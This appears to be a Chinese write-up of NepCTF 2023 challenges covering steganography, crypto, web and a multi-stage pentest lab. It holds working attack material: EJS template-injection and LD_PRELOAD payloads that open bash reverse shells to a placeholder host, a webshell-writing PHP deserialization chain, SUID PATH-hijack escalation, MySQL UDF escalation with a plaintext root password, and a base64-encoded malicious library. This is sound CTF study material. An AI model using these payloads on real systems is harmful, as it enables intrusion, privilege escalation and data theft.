年轻人就要年轻,正经人谁自己写代码啊~
直接用gpt写出decompress():
def decompress(input_file, output_file):
with open(input_file, 'rb') as f:
# Read frequency information
num_symbols = ord(f.read(1))
frequencies = {}
for _ in range(num_symbols):
byte, freq_bytes = f.read(1)[0], f.read(4)
freq = (freq_bytes[0] << 24) | (freq_bytes[1] << 16) | (freq_bytes[2] << 8) | freq_bytes[3]
frequencies[byte] = freq
# Rebuild Huffman tree
root = build_huffman_tree(frequencies)
# Read compressed data
compressed_data = f.read()
bit_string = ''.join(format(byte, '08b') for byte in compressed_data)
current_node = root
decompressed_data = []
for bit in bit_string:
if bit == '0':
current_node = current_node.left
else:
current_node = current_node.right
if current_node.char is not None:
decompressed_data.append(current_node.char)
current_node = root
with open(output_file, 'wb') as f:
f.write(bytes(decompressed_data))
你很会写代码吗,你会写有什么用!出来混 讲的是皮 tips:flag格式为Nepctf{},flag存在环境变量
进去之后,里面是一个c语言的解释器,需要我们获得环境变量
经过测试,把一些简单的命令执行函数以及关键字给禁用掉了,没办法经过命令执行获取环境变量
https://blog.csdn.net/aspnet_lyc/article/details/20548767
在c中,main函数的前两个参数argc, argv被很多人熟悉,但main函数还有第三个参数------arge。
main的第三个参数里存的是系统变量,所以可以通过这个参数获得系统环境变量
#include
int main(int argc, char** argv, char** arge)
{
while(*arge)
{
printf("%s\n", *arge++);
}
return 0;
}
下载获得一个mid音乐文件,我们使用Audacity
打开:
放大之后会发现,前面一段是莫斯密码,后面一段是16进制数
摩斯电码解密:
-.-- --- ..- ... .... --- ..- .-.. -.. ..- ... . - .... .. ... - --- -..- --- .-. ... --- -- . - .... .. -. --.
youshouldusethistoxorsomething
你应该与一些东西异或,很明显,我们把16进制提出来之后与他异或:
0x370a05303c290e045005031c2b1858473a5f052117032c39230f005d1e17
A同学在回学校的路上捡到了一张纸条,你能帮帮她吗?
flag格式:NepCTF{XX_XX}
hint:A同学的英文名为“Atsuko Kagari”
hint:flag格式请选手根据自身语感自行添加下划线
给了hint:Atsuko Kagari
我们直接搜索一下:
然后知道了这是一个动画:小魔女学园,然后找到了这是新月文字
百度贴吧找到对照:
HEARTISYOURMAGIC
NEPNEPABELIEVING
凭语感拼接起来:
NepCTF{NEPNEP_A_BELIEVING_HEART_IS_YOUR_MAGIC}
三月七:耶,终于来到Nepnep星球啦,让我看看正在火热进行的Hacker夺旗大赛群聊。啊!开拓者,这群名看起来怪怪的诶。 (伸出脑袋,凑近群名,轻轻的闻了一下)哇,好咸诶,开拓者你快来看看!
开拓者(U_id):(端着下巴,磨蹭了一下,眼神若有所思)这好像需要经过啥256处理一下才能得到我们需要的关键。
三月七:那我们快想想怎么解开这个谜题!
flag格式:NepCTF{+m+}
hint:URL为压缩包密码
txt文件:
salt_lenth= 10
key_lenth= 16
iv= 88219bdee9c396eca3c637c0ea436058 #原始iv转hex的值
ciphertext= b700ae6d0cc979a4401f3dd440bf9703b292b57b6a16b79ade01af58025707fbc29941105d7f50f2657cf7eac735a800ecccdfd42bf6c6ce3b00c8734bf500c819e99e074f481dbece626ccc2f6e0562a81fe84e5dd9750f5a0bb7c20460577547d3255ba636402d6db8777e0c5a429d07a821bf7f9e0186e591dfcfb3bfedfc
这里根据题目描述:群名很咸,推出salt(长度为10):NepCTF2023
经过啥256处理一下才能得到我们需要的关键:推出sha256后得到key(关键)
猜测我们对NepCTF2023
经过sha256后可以得到key
,取出前32位:
dd8e671df3882c5be6423cd030bd7cb6
然后AES解密=>hex解密=>base64解密:
https://img1.imgtp.com/2023/07/24/yOkXWSJT.png
星穹铁道文字:
翻译一下:
NepCTF{HRP_always_likes_March_7th}
穿越回 1977 年的 Lemon 赶上了世界上第一批大规模生产的个人电脑发售。经过数月努力他终于拥有了一台计算机。他迫不及待地将自己编写的 BASIC 程序分享给了 H3,但由于 Lemon 对 BASIC 语言不熟悉导致他写错了代码段。数月后他带着装有程序的磁带回到了21世纪,但你能帮他还原磁带中的程序吗?
下载后得到一个录音文件
我们查询一下:世界上第一批大规模生产的个人电脑发售
TRS-80
电脑
找一个在线网站解析磁带(cassette):https://www.my-trs-80.com/cassette/
把ascii提出来
res = '''
.........
... °°...
..º...½..
..¿......
..«´°°...
.........
.........
.. .°°...
..ª...½..
..ª...¿..
..ªµ°¸...
..ª......
....°°...
..¨......
..¿......
..¿......
...½°°¸..
.........
..°°°°°..
....¿....
....¿....
....¿....
.........
'''
res = res.split('\n')
for i in res:
for j in range(len(i)):
if(i[j] != '.'):
print('A',end='')
continue
print(' ',end='')
print()
https://zysgmzb.club/index.php/archives/262
https://blog.csdn.net/jyttttttt/article/details/132273970
shiro反序列化,使用工具一把梭:https://github.com/j1anFen/shiro_attack
find提权
噢我的老伙计,这张明信片应该交给你! (明信片样式由ChatGPT生成)
傻逼题啊,根本成功不了
题目给了源码:
var path = require('path');
const fs = require('fs');
const crypto = require("crypto");
const express = require('express')
const app = express()
const port = 3000
templateDir = path.join(__dirname, 'template');
app.set('view engine', 'ejs');
app.set('template', templateDir);
function sleep(milliSeconds){
var StartTime =new Date().getTime();
let i = 0;
while (new Date().getTime() <StartTime+milliSeconds);
}
app.get('/', function(req, res) {
return res.sendFile('./index.html', {root: __dirname});
});
app.get('/create', function(req, res) {
let uuid;
let name = req.query.name ?? '';
let address = req.query.address ?? '';
let message = req.query.message ?? '';
do {
uuid = crypto.randomUUID();
} while (fs.existsSync(`${templateDir}/${uuid}.ejs`))
try {
if (name != '' && address != '' && message != '') {
let source = ["source", "source1", "source2", "source3"].sort(function(){
return 0.5 - Math.random();
})
fs.readFile(source[0]+".html", 'utf8',function(err, pageContent){
fs.writeFileSync(`${templateDir}/${uuid}.ejs`, pageContent.replace(/--ID--/g, uuid.replace(/-/g, "")));
sleep(2000);
})
} else {
res.status(500).send("Params `name` or `address` or `message` empty");
return;
}
} catch(err) {
res.status(500).send("Failed to write file");
return;
}
return res.redirect(`/page?pageid=${uuid}&name=${name}&address=${address}&message=${message}`);
});
app.get('/page', (req,res) => {
let id = req.query.pageid
if (!/^[0-9A-F]{8}-[0-9A-F]{4}-[4][0-9A-F]{3}-[89AB][0-9A-F]{3}-[0-9A-F]{12}$/i.test(id) || !fs.existsSync(`${templateDir}/${id}.ejs`)) {
res.status(404).send("Sorry, no such id")
return;
}
res.render(`${templateDir}/${id}.ejs`, req.query);
})
app.listen(port, () => {
console.log(`App listening on port ${port}`)
})
仔细阅读一下,就知道使用了ejs
模板引擎,并且在/page
路由中没有对req.query
过滤,造成了ejs模板注入
网上是有cve的,
在url后加入:
&settings[view options][escapeFunction]=console.log;this.global.process.mainModule.require('child_process').execSync("bash%20-c%20'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fip%2F9996%20%3C%261'");&settings[view options][client]=true
像这样:
http://nepctf.1cepeak.cn:30398/page?pageid=7416e7e5-a180-4963-87cd-2900836a378c&name=1&address=2&message=1232&settings[view options][escapeFunction]=console.log;this.global.process.mainModule.require('child_process').execSync("bash%20-c%20'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fip%2F9996%20%3C%261'");&settings[view options][client]=true
然后反弹shell拿flag
之前一直报错,不解析清华源,好像是本地dns的问题,折腾了好久终于可以了
我们直接docker-compose up -d
启动,然后docker ps
查看一下:
发现是映射到了8888端口,结果访问不上。
于是使用:
docker container inspect id号
查看一下容器信息:
发现ip地址是172.24.0.2
端口8888,于是nc就可以连接上去了
但是发现在外面的主机连不上,于是做一下反向代理:
kali做客户端:
# frpc.ini
[common]
server_addr = 192.168.1.102 # win ip
server_port = 7000
[ssh]
type = tcp
local_ip = 172.24.0.2
local_port = 8888
remote_port = 6000 # 映射到win6000端口
win做服务端:
# frps.ini
[common]
bind_port = 7000
然后nc 192.168.1.102 6000
就可以连上了
渗透组合套题
hint:环境变量提权
根据hint,学习了一手环境变量提权
https://xz.aliyun.com/t/2767
我们查找到唯一的具有suid
权限的文件:nmap
/ $ ls -al /bin/nmap
ls -al /bin/nmap
-rwsr-xr-x 1 root root 931712 Jul 17 09:46 /bin/nmap
执行一下nmap,发现nmap会调用ports-alive
文件
/bin $ nmap 123
nmap 123
sh: ports-alive: not found
于是我们在/tmp
目录下,将/bin/sh
写入ports-alive
,并且将/tmp
加入环境变量:
cd /tmp
echo "/bin/sh" > ports-alive
chmod +x ports-alive
export PATH=/tmp:$PATH
接着返回/bin
目录,运行一下nmap
,这时由于它会去调用ports-alive
,所以先去环境变量中找到了/tmp
目录下的ports-alive
,结果执行了/bin/sh
,获得root权限,然后查看flag即可
/bin $ ./nmap 123
./nmap 123
/bin # whoami
whoami
root # 提权到root
/bin # cat /flag
cat /flag
flag{Everything_is_illusory}
独步天下第一层请nc连接,破除虚妄是第二层对应的flag是flag_mini里的flag
hint:ports-alive 修正后扫描网段 (ip范围0到100)用基础get包探测获取html
hint:echo -e “GET / HTTP/1.1\r\nHost: 192.168.200.1\r\n\r\n” | nc xx xx
我们在前面获取root权限之后,我们可以使用wget
命令从服务器上下载文件,例如:fscan
、frpc
我们经过扫描,得到了一个内网ip:192.168.200.1
但是我们访问不到它,我们使用frp
进行反向代理,将其代理到我们自己的服务器上:
[common]
server_addr = ip
server_port = 10001
[ssh]
type = tcp
local_ip = 192.168.200.1
local_port = 80
remote_port = 10002 # 转发到vps的10002端口
然后在命令行运行:
./frpc -c frpc.ini &
服务器运行:
./frps -c frps.ini &
然后我们访问服务器的10002端口,成功反向代理
其实可以不用这么麻烦。。
我们观察一下
docker container inspect 668dd14f5748
这个docker容器将172.24.0.2:8888
端口映射到了本机的32768端口上,我们再查看一下kali的ip:192.168.56.129
于是直接:nc 192.168.56.129 32768
就可以连上了
然后常规操作,提权:
cd /tmp
echo "/bin/sh" > ports-alive
chmod +x ports-alive
export PATH=/tmp:$PATH
cd /bin
nmap 123
然后我们可以使用wget
命令从服务器上下载一个fscan
用来内网探测:
wget http://ip:port/fscan_amd64
mv fscan_amd64 fscan
chmod +x fscan
测到一台内网主机:192.168.200.1
然后我们是没有办法直接访问的,因为,这是在docker容器中的内网。
经过测试,我们发现可以出网,于是我们可以搞一个socks5代理,这里我们选择Venom
先使用wget
从服务器上下载:agent_linux_x64
然后运行它:
./agent_linux_x64 -rhost ip -rport 1080
服务器端监听:
./admin -lport 1080
接下来我们选择连接上的节点1,然后使用socks 10002
为10002端口做一个socks5代理
接着使用proxifier
代理一下:
先添加一个解析服务器,填上自己的服务器ip和port
然后配置一下解析规则:
将访问192.168.200.1的请求都通过服务器的socks5代理过去
然后直接浏览器访问就行了:
我们发现这个ping可能存在命令执行,于是抓个包,然后使用%0a
分隔:
flag在根目录下,但是没有权限去读
我们发现/app/app.py
文件:
from flask import Flask, render_template, request, url_for, redirect
import os
import ctypes
import ctypes.util
import time
os.environ['FLASK_ENV'] = 'production'
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './'
lib_name='./libping.so'
def load_ping_library():
# 加载共享库
mylib = ctypes.CDLL(lib_name)
return mylib
mylib = load_ping_library()
@app.route('/')
def index():
return render_template('index.html')
@app.route('/ping', methods=['POST'])
def ping():
global mylib
ip_address = request.form['ip_address']
result = ctypes.create_string_buffer(4096*2)
mylib.ping(ip_address.encode('utf-8'), result)
return result.value.decode('utf-8')
@app.route('/upload_avatar', methods=['POST'])
def upload_avatar():
if request.headers.get('X-Forwarded-For') != '127.0.0.1':
return "You are not allowed to upload files from this IP address." + " Your IP is: " + request.headers.get('X-Forwarded-For')
if 'file' not in request.files:
return redirect(request.url)
file = request.files['file']
if file.filename == '':
return redirect(request.url)
if not allowed_file(file.filename):
return 'Invalid file format. Only PNG files are allowed.'
# 限制文件大小为 5KB
MAX_FILE_SIZE = 5 * 1024
if len(file.read()) > MAX_FILE_SIZE:
return 'File too large. Maximum size is 5KB.'
# 将文件保存到服务器
file.seek(0) # 重置文件读取指针
file.save(os.path.join(app.config['UPLOAD_FOLDER'], 'avatar.png'))
return redirect(url_for('index'))
def allowed_file(filename):
return '.' in filename and filename.rsplit('.', 1)[1].lower() == 'png'
if __name__ == '__main__':
app.run(host='0.0.0.0',port=82,debug=False,use_reloader=False)
这个上传文件的地方没有对文件的内容做出任何过滤
于是我们可以在上传的图片中反弹shell:
import os
os.popen("bash -c 'bash -i >& /dev/tcp/ip/7788 0>&1'").read()
上传:(注意图片会检查xff)
然后可以使用python3
命令执行:
成功反弹shell:
然后查看一下可疑进程:ps -ef
查看一下这个文件:identity.c
#define _GNU_SOURCE
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
//gcc -o test1 test1.c -lcrypto -lm -lrt
void init_dir() {
int fd=open("/home/ctf/sandbox/",O_RDONLY);
if(fd<2) {
exit(0);
}
MD5_CTX ctx;
char md5_res[17]="";
char key[100]="NEPCTF_6666";
char sandbox_dir[100]="/home/ctf/sandbox/";
char dir_name[100]="/home/ctf/sandbox/";
FILE *new_pip;
int i;
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
struct rlimit r;
r.rlim_max = r.rlim_cur = 0;
setrlimit(RLIMIT_CORE, &r);
memset(key, 0, sizeof(key));
MD5_Init(&ctx);
MD5_Update(&ctx, key, strlen(key));
MD5_Final(md5_res, &ctx);
for (int i = 0; i < 16; i++)
sprintf(&(dir_name[i*2 + 18]), "%02hhx", md5_res[i]&0xff);
char cmd[100];
mkdir(dir_name, 0755);
if (chdir(dir_name)==-1) {
puts("chdir err, exiting\n");
exit(1);
}
sprintf(cmd,"%s%s","chmod 777 ",dir_name);
system(cmd);
mkdir("bin", 0777);
mkdir("lib", 0777);
mkdir("lib64", 0777);
mkdir("lib/x86_64-linux-gnu", 0777);
system("cp /bin/bash bin/sh");
system("cp /lib/x86_64-linux-gnu/libdl.so.2 lib/x86_64-linux-gnu/");
system("cp /lib/x86_64-linux-gnu/libc.so.6 lib/x86_64-linux-gnu/");
system("cp /lib/x86_64-linux-gnu/libtinfo.so.5 lib/x86_64-linux-gnu/");
system("cp /lib64/ld-linux-x86-64.so.2 lib64/");
if (chroot(".") == -1) {
puts("chroot err, exiting\n");
exit(1);
}
}
void command(int server_socket,int client_socket) {
char buf[0x666];
memset(buf,0,0x666);
write(client_socket,"Tmp-Command:",sizeof("Tmp-Command:"));
read(client_socket, buf, 0x10);
setgid(1001);
setuid(1001);
popen(buf,"w");
}
int get_ip_address(const char *interface_name, char *ip_address) {
int sockfd;
struct ifreq ifr;
// Create a socket
sockfd = socket(AF_INET, SOCK_DGRAM, 0);
if (sockfd < 0) {
perror("Socket creation failed");
return -1;
}
// Set the interface name in the ifreq structure
strncpy(ifr.ifr_name, interface_name, IFNAMSIZ - 1);
ifr.ifr_name[IFNAMSIZ - 1] = '\0';
// Get the IP address using the SIOCGIFADDR ioctl request
if (ioctl(sockfd, SIOCGIFADDR, &ifr) == -1) {
perror("ioctl failed");
close(sockfd);
return -1;
}
close(sockfd);
// Convert the binary IP address to a human-readable string
struct sockaddr_in *addr = (struct sockaddr_in *)&ifr.ifr_addr;
strcpy(ip_address, inet_ntoa(addr->sin_addr));
return 0;
}
int main(int argc, char **argv) {
init_dir();
int flag=1;
// Server setup
int server_socket, client_socket;
struct sockaddr_in server_addr, client_addr;
socklen_t client_len = sizeof(client_addr);
// Create socket
server_socket = socket(AF_INET, SOCK_STREAM, 0);
if (server_socket < 0) {
perror("Socket creation failed");
exit(0);
}
// Set up server address
memset(&server_addr, 0, sizeof(server_addr));
server_addr.sin_family = AF_INET;
server_addr.sin_addr.s_addr = INADDR_ANY;
server_addr.sin_port = htons(9999);
// Bind socket to address and port
if (bind(server_socket, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) {
perror("Bind failed");
exit(0);
}
// Listen for incoming connections
if (listen(server_socket, 1) < 0) {
perror("Listen failed");
exit(0);
}
printf("Server is listening on port 9999...\n");
// Accept connection from client
client_socket = accept(server_socket, (struct sockaddr *)&client_addr, &client_len);
if (client_socket < 0) {
client_socket = accept(server_socket, (struct sockaddr *)&client_addr, &client_len);
}
char client_ip[INET_ADDRSTRLEN];
inet_ntop(AF_INET, &client_addr.sin_addr, client_ip, INET_ADDRSTRLEN);
printf("Client connected from IP: %s\n", client_ip);
char ip_address[INET_ADDRSTRLEN];
const char *interface_name = "eth0";
if (get_ip_address(interface_name, ip_address) == 0) {
printf("IP address of eth0: %s\n", ip_address);
} else {
printf("Failed to get the IP address of eth0.\n");
}
while(flag) {
if(strcmp(client_ip,ip_address)) {
send(client_socket,"Only nc by localhost!\n",sizeof("Only nc by localhost!\n"),0);
exit(0);
} else {
flag=0;
}
}
command(server_socket,client_socket);
return 0;
}
这里不懂,
这一部分的文件描述符并没有关闭,文件流也没关闭,因此是可以连接父进程的,
openat、fschmod
这两个内置函数
然后写一个这种c脚本:
#include
#include
#include
#include
int main() {
const char* filename = "../../../../flag_mini";
int fd = openat(3, filename, O_CREAT | O_WRONLY);
if (fd == -1) {
// 处理打开文件失败的情况
printf("1");
}
// 更改文件权限为 777
if (fchmod(fd, S_IRWXU | S_IRWXG | S_IRWXO) == -1) {
// 处理更改文件权限失败的情况
printf("2");
}
// 使用新文件进行操作...
return 0;
}
我们可以自行编译这个c文件,然后nc进identity以ctf用户运行,这样就可以更改flag_mini的权限为777,我们就可以读取
我们可以通过base64的形式写进去:
echo I2luY2x1ZGUgPGZjbnRsLmg+CiNpbmNsdWRlIDxzeXMvc3RhdC5oPgojaW5jbHVkZSA8dW5pc3RkLmg+CiNpbmNsdWRlIDxzdGRpby5oPgoKaW50IG1haW4oKSB7CiAgICBjb25zdCBjaGFyKiBmaWxlbmFtZSA9ICIuLi8uLi8uLi8uLi9mbGFnX21pbmkiOwogICAgaW50IGZkID0gb3BlbmF0KDMsIGZpbGVuYW1lLCBPX0NSRUFUIHwgT19XUk9OTFkpOwogICAgaWYgKGZkID09IC0xKSB7CiAgICAgICAgLy8g5aSE55CG5omT5byA5paH5Lu25aSx6LSl55qE5oOF5Ya1CiAgICAgICAgcHJpbnRmKCIxIik7CiAgICB9CgogICAgLy8g5pu05pS55paH5Lu25p2D6ZmQ5Li6IDc3NwogICAgaWYgKGZjaG1vZChmZCwgU19JUldYVSB8IFNfSVJXWEcgfCBTX0lSV1hPKSA9PSAtMSkgewogICAgICAgIC8vIOWkhOeQhuabtOaUueaWh+S7tuadg+mZkOWksei0peeahOaDheWGtQogICAgICAgIHByaW50ZigiMiIpOwogICAgfQoKICAgIC8vIOS9v+eUqOaWsOaWh+S7tui/m+ihjOaTjeS9nC4uLgoKICAgIHJldHVybiAwOwp9|base64 -d >poc.c
使用gcc
编译一下:
gcc poc.c -o poc
然后切换到:/home/ctf/sandbox/d41d8cd98f00b204e9800998ecf8427e
执行nc,我们查看一下ip:
我们需要连接它的9999端口(identity文件规定了)
然后我们读flag
复现完这题学到了很多关于内网中代理等知识,学到了venom
工具构造socks5
代理,
使用proxifier
工具来内网穿透,这个工具可以让本机在访问指定ip时都走代理,可以实现访问内网,不需要类似于:proxychains
的方式打开工具,有点像给系统加了一个代理
在http://192.168.200.1/index.php
有一个web服务:
是一个ZengCMS
,这个cms存在漏洞:
我们下载源码,用seay
审计一下,搜索一下:unser
:
查看一下这个文件:
我们发现cookie会被反序列化,并且我们前面看到了这个cms是基于Thinkphp6.0.x
的
我们可以找一条基于thinkphp6的链子
但是这个cookie会经过think_decrypt()
函数解密一下
所以我们的cookie需要先通过:think_encrypt()
加密一下
function think_encrypt($string, $key = '', $expiry = 0)
{
// 动态密匙长度,相同的明文会生成不同密文就是依靠动态密匙
$ckey_length = 0;
// 密匙
$key = sha1(md5(empty($key) ? get_one_cache_config('WEB_DATA_AUTH_KEY') : $key));
// 密匙a会参与加解密
$keya = sha1(md5(substr($key, 0, 16)));
// 密匙b会用来做数据完整性验证
$keyb = sha1(md5(substr($key, 16, 16)));
// 密匙c用于变化生成的密文
$keyc = $ckey_length ? substr(md5(microtime()), -$ckey_length) : '';
// 参与运算的密匙
$cryptkey = $keya . md5($keya . $keyc);
$key_length = strlen($cryptkey);
// 明文,前10位用来保存时间戳,解密时验证数据有效性,10到26位用来保存$keyb(密匙b),解密时会通过这个密匙验证数据完整性
// 如果是解码的话,会从第$ckey_length位开始,因为密文前$ckey_length位保存 动态密匙,以保证解密正确
$string = sprintf('%010d', $expiry ? $expiry + time() : 0) . substr(md5($string . $keyb), 0, 16) . $string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
// 产生密匙簿
for ($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
// 用固定的算法,打乱密匙簿,增加随机性,好像很复杂,实际上对并不会增加密文的强度
for ($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
// 核心加解密部分
for ($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
// 从密匙簿得出密匙进行异或,再转成字符
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
return $keyc . str_replace(array('+', '/', '='), array('-', '_', ''), base64_encode($result));
}
有点小麻烦,我们可以直接搭建一个,然后调用这个函数即可:
我们在首页弹出一个加密后的cookie:
加密脚本如下:
namespace League\Flysystem\Cached\Storage{
use League\Flysystem\Filesystem;
abstract class AbstractCache{
protected $autosave = false;
}
class Adapter extends AbstractCache
{
protected $adapter;
protected $file;
public function __construct(){
$this->complete = "*/";
$this->expire = "yydsy4";
$this->adapter = new \League\Flysystem\Adapter\Local();
$this->file = "pop.php";
}
}
}
namespace League\Flysystem\Adapter{
class Local extends AbstractAdapter{
}
abstract class AbstractAdapter{
protected $pathPrefix;
public function __construct(){
$this->pathPrefix = "./";
}
}
}
namespace {
use League\Flysystem\Cached\Storage\Adapter;
$a = new Adapter();
echo base64_encode(serialize($a));
}
脚本在根目录写一个木马
嫌麻烦我就不搞了,手动在根目录加pop.php
蚁剑连接:
第二个flag是mysql用户的
查看一下数据库信息:
发现了数据库root权限的账号密码,但是我们当前的用户只是www-data
权限而已,想要读flag是不可能的,所以我们需要使用UDF提权
UDF(User-Defined Function)提权指的是通过在MySQL数据库中编写自定义函数(UDF)的方式,实现在MySQL数据库中提升权限的方法
我们只需要写一个plugin进去,但是不能直接写进去,因为plugin目录没权限写:
但是由于当前我们有root权限的数据库用户,我们可以使用select into dumpfile
的形式写入:
当以 root 用户身份执行
SELECT INTO DUMPFILE
查询时,它将绕过文件权限检查,并允许将查询结果写入任何有效的文件路径中,即使该路径对 mysql 用户是无法写入的。请注意,使用 root 用户执行此操作需要格外小心,因为它会绕过一些安全限制。确保仅允许可信任的用户以 root 权限执行此操作,并且仅指定安全的文件路径。
mysql -uroot -p456456zxc+123666 -e "SELECT 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INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';"
在/tmp
目录创建一个poc.sh
,然后修改权限执行它,这时就会将udf.so
文件写入/usr/lib/mysql/plugin/
目录了(本来是没有权限的)
成功写入后就udf提权了:
mysql -uroot -p456456zxc+123666 -e 'create function sys_eval returns string soname "udf.so";'
mysql -uroot -p456456zxc+123666 -e 'select sys_eval("chmod 777 /flag");'
mysql -uroot -p456456zxc+123666 -e 'select sys_eval("cat /flag");'
md本地没用
要学学udf提权的知识
hint: 可以参考https://tttang.com/archive/1395/
看题貌似是一个文件包含
但是没法利用其他的,我们删掉后面的参数:
可以拿到源码,link参数后面会拼接一个.txt
,这样一般的东西也利用不了
然后这里面会有一个LFI2RCE
的知识点,可以通过文件包含来RCE:https://tttang.com/archive/1395/
可以在github上找到利用脚本:https://github.com/synacktiv/php_filter_chain_generator
python3 php_filter_chain_generator.py --chain ""
这样就成功了:
但是查看一下disable_functions、disable_classes
把很多的函数和类给禁用了,还限制了open_basedir=/var/www/html:/tmp
所以我们需要想办法 php disable_function bypass
这里有文章:
https://www.tr0y.wang/2018/04/18/PHPDisalbedfunc/index.html#imagemagick-%E6%BC%8F%E6%B4%9E%E7%BB%95%E8%BF%87
https://xz.aliyun.com/t/4623#toc-6
LD_PRELOAD指定的动态链接库文件,会在其它文件调用之前先被调用
劫持步骤:
- 生成一个我们的恶意动态链接库文件
- 利用putenv设置LD_PRELOAD为我们的恶意动态链接库文件的路径
- 配合php的某个函数去触发我们的恶意动态链接库文件
- Getshell
这个php的函数很关键。可以使用mail、error_log
等,但是这里被禁用了
我们还可以使用mb_send_mail()
它是mail()
的包装函数,因此也可以进行劫持
我们需要先编写一个恶意poc.c文件:(用来反弹shell)
__attribute__
语法格式为:__attribute__ ( ( attribute-list ) )
若函数被设定为constructor属性,则该函数会在main()函数执行之前被自动的执行。类似的,若函数被设定为destructor属性,
则该函数会在main()函数执行之后或者exit()被调用后被自动的执行。例如下面的程序:
#include
#include
#include
__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("bash -c 'bash -i >& /dev/tcp/vps/7788 0>&1'");
}
然后编译一下生成恶意动态链接程序poc.so:
gcc -c -fPIC poc.c -o poc
gcc --share poc -o poc.so
然后我们需要把这个文件给上传到服务器上去,并且使用putenv()
函数重新设置LD_PRELOAD
环境变量,最后使用mb_send_mail()
调用恶意的函数进行反弹shell
但是这里有个问题,我们没权限上传文件,和写文件,相关函数被禁用了。
这里有一种方法是上传临时文件/tmp/phpxxx
,然后使用scandir("glob:///tmp/php*")
去模糊匹配的
还有另一种方法,使用php原生类DOMDocument
写文件:
可以参考:https://longlone.top/%E5%AE%89%E5%85%A8/%E5%AE%89%E5%85%A8%E7%A0%94%E7%A9%B6/%E4%BB%BB%E6%84%8F%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E4%B8%8B%E7%9A%84php%E5%8E%9F%E7%94%9F%E7%B1%BB%E5%88%A9%E7%94%A8/#domdocument
1=$f="/tmp/poc.so";
$d=new DOMDocument();
$d->loadHTML("f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAAAAAAAAAAABAAAAAAAAAAEA1AAAAAAAAAAAAAEAAOAAJAEAAHAAbAAEAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8AQAAAAAAADwBAAAAAAAAAAQAAAAAAAAAQAAAAUAAAAAEAAAAAAAAAAQAAAAAAAAABAAAAAAAABRAQAAAAAAAFEBAAAAAAAAABAAAAAAAAABAAAABAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAOwAAAAAAAAA7AAAAAAAAAAAEAAAAAAAAAEAAAAGAAAA8C0AAAAAAADwPQAAAAAAAPA9AAAAAAAAKAIAAAAAAAAwAgAAAAAAAAAQAAAAAAAAAgAAAAYAAAAILgAAAAAAAAg+AAAAAAAACD4AAAAAAADAAQAAAAAAAMABAAAAAAAACAAAAAAAAAAEAAAABAAAADgCAAAAAAAAOAIAAAAAAAA4AgAAAAAAACQAAAAAAAAAJAAAAAAAAAAEAAAAAAAAAFDldGQEAAAASCAAAAAAAABIIAAAAAAAAEggAAAAAAAAJAAAAAAAAAAkAAAAAAAAAAQAAAAAAAAAUeV0ZAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAABS5XRkBAAAAPAtAAAAAAAA8D0AAAAAAADwPQAAAAAAABACAAAAAAAAEAIAAAAAAAABAAAAAAAAAAQAAAAUAAAAAwAAAEdOVQAWvRCLmYtP8WTej0PB8Vlc97nMRgAAAAACAAAABwAAAAEAAAAGAAAAABAAAAAAAAIHAAAAAAAAAE1eGA8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAZAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAQAAACAAAAAAAAAAAAAAAAAAAAAAAAAAWwAAABIAAAAAAAAAAAAAAAAAAAAAAAAALAAAACAAAAAAAAAAAAAAAAAAAAAAAAAARgAAACIAAAAAAAAAAAAAAAAAAAAAAAAAVQAAABIADAAZEQAAAAAAAC8AAAAAAAAAAF9fZ21vbl9zdGFydF9fAF9JVE1fZGVyZWdpc3RlclRNQ2xvbmVUYWJsZQBfSVRNX3JlZ2lzdGVyVE1DbG9uZVRhYmxlAF9fY3hhX2ZpbmFsaXplAGFuZ2VsAHVuc2V0ZW52AHN5c3RlbQBsaWJjLnNvLjYAR0xJQkNfMi4yLjUAAAAAAQACAAEAAgABAAIAAQAAAAAAAAABAAEAawAAABAAAAAAAAAAdRppCQAAAgB1AAAAAAAAAPA9AAAAAAAACAAAAAAAAAAQEQAAAAAAAAA+AAAAAAAACAAAAAAAAADQEAAAAAAAABBAAAAAAAAACAAAAAAAAAAQQAAAAAAAAPg9AAAAAAAAAQAAAAcAAAAAAAAAAAAAAMg/AAAAAAAABgAAAAEAAAAAAAAAAAAAANA/AAAAAAAABgAAAAMAAAAAAAAAAAAAANg/AAAAAAAABgAAAAUAAAAAAAAAAAAAAOA/AAAAAAAABgAAAAYAAAAAAAAAAAAAAABAAAAAAAAABwAAAAIAAAAAAAAAAAAAAAhAAAAAAAAABwAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA